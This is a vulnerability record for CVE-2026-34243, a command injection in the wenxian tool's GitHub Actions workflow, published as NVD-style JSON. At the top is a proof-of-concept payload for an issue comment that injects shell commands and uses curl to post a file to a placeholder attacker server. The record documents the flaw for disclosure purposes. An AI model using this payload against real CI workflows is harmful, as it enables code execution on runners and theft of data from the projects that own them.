CVE-2026-34243

# Malicious payload to be injected into GitHub Issue comment body # The payload uses command substitution to execute arbitrary commands on the runner valid_input; echo "CVE-2026-34243 POC" > /tmp/pwned.txt; curl -d @/tmp/pwned.txt http://attacker-server.com/exfil

{"cve": {"id": "CVE-2026-34243", "sourceIdentifier": "[email protected]", "published": "2026-03-31T16:16:33.253", "lastModified": "2026-04-03T14:38:17.593", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "wenxian is a tool to generate BIBTEX files from given identifiers (DOI, PMID, arXiv ID, or paper title). In versions 0.3.1 and prior, a GitHub Actions workflow uses untrusted user input from issue_comment.body directly inside a shell command, allowing potential command injection and arbitrary code execution on the runner. At time of publication, there are no publicly available patches."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}, {"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:njzjz:wenxian:*:*:*:*:*:python:*:*", "versionEndIncluding": "0.3.1", "matchCriteriaId": "E1B409F9-C4BD-4C59-8278-66ED698B4EB8"}]}]}], "references": [{"url": "https://github.com/njzjz/wenxian/security/advisories/GHSA-r4fj-r33x-8v88", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}